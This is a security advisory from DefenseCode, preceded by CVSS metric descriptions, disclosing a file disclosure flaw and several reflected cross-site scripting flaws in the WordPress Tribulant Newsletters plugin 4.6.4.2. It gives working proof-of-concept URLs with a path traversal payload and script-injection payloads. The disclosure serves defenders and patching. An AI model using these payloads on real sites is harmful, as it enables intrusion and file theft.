The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
WordPress Tribulant Newsletters 4.6.4.2 XSS / File Disclosure DefenseCode WebScanner DAST Advisory
WordPress Tribulant Newsletters Plugin
Multiple Security Vulnerabilities
Advisory ID: DC-2017-01-012
Advisory Title: WordPress Tribulant Newsletters Plugin
Multiple Vulnerabilities
Advisory URL: http://www.defensecode.com/advisories.php
Software: WordPress Tribulant Newsletters Plugin
Language: PHP
Version: 4.6.4.2 and below
Vendor Status: Vendor contacted, update released
Release Date: 2017/05/29
Risk: Medium
1. General Overview
===================
During the security audit of Tribulant Newsletters plugin for
WordPress CMS, multiple vulnerabilities were discovered using
DefenseCode WebScanner application security analysis platform.
More information about WebScanner is available at URL:
http://www.defensecode.com
2. Software Overview
====================
According to the authors, WordPress Tribulant Newsletters plugin is a
full-featured newsletter plugin for WordPress which fulfils all
subscribers, emails, marketing and newsletter related needs for both
personal and business environments.
According to wordpress.org, it has more than 9,000 active installs.
Homepage:
https://wordpress.org/plugins/newsletters-lite/
http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin
3. Vulnerability Description
==================================
During the security analysis, WebScanner discovered File Disclosure
vulnerability and multiple Cross Site Scripting vulnerabilities in
Tribulant Newsletters plugin.
3.1 File Disclosure
----
Input: $_GET['file']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWINDOWS%5cwin.ini
3.2 Cross-Site Scripting
----
Input: $_GET['method']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=check-expired%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
3.3 Cross-Site Scripting
----
Input: $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Note: Subscriber id (parameter "id") must exist. Value 1 is
a good guess for start ;)
3.4 Cross-Site Scripting
----
Input: $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-lists&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
3.5 Cross-Site Scripting
----
Input: $_GET['value']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin-ajax.php?action=newsletters_gauge&value=1});alert(1);</script>
3.6 Cross-Site Scripting
----
Input: $_GET['order']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&orderby=theme_id&order=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
3.7 Cross-Site Scripting
----
Input: $_GET['wpmlsearchterm']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlsearchterm=x%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
3.8 Cross-Site Scripting
----
Input: $_GET['wpmlmessage']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&wpmlupdated=true&wpmlmessage=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
4. Solution
===========
Vendor resolved the security issues after we reported the
vulnerabilities. All users are strongly advised to update WordPress
Tribulant Newsletters plugin to the latest available version.
5. Credits
==========
Discovered with DefenseCode WebScanner security analyzer
by Neven Biruski.
6. Disclosure Timeline
======================
2017/04/04 Vendor contacted
2017/04/06 Vendor responded, update released
2017/05/29 Advisory released to the public
7. About DefenseCode
====================
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security
vulnerabilities.
DefenseCode ThunderScan is a SAST (Static Application Security
Testing, WhiteBox Testing) solution for performing extensive security
audits of application source code. ThunderScan SAST performs fast and
accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.
DefenseCode WebScanner is a DAST (Dynamic Application Security
Testing, BlackBox Testing) solution for comprehensive security audits
of active web applications. WebScanner will test a website's security
by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.
Subscribe for free software trial on our website
http://www.defensecode.com/ .
E-mail: defensecode[at]defensecode.com
Website: http://www.defensecode.com
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